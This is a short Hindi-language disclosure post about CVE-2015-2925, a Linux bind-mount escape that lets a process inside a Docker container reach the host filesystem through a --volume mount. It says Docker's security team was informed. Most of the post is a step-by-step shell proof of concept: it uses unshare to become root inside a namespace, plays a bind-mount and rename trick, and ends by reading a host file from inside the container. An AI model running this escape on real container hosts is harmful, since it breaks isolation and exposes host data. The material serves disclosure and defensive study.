
Docker + CVE-2015-2925 = --volume से बच निकलना
लिनक्स में हालिया कमज़ोरी जो लगभग आधे साल (कई महीनों से सार्वजनिक) से ज्ञात है, ने bind mounts से बच निकलना संभव बना दिया है। विशेष रूप से Docker के मामले में, --volume विकल्प के माध्यम से माउंट किए गए निर्देशिका के अंदर से संबंधित होस्ट के फ़ाइलसिस्टम तक बच निकलना संभव है।
Docker सुरक्षा टीम पहले से ही अवगत है इस मुद्दे से और इसे सार्वजनिक ध्यान आकर्षित करने के लिए प्रकाशित करने की अनुमति दी गई।
Jann Horn को इस बात को इंगित करने के लिए धन्यवाद, मूलतः मैंने इसे पुन: प्रस्तुत किया।
इनमें से कोई भी पर्याप्त होगा:
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped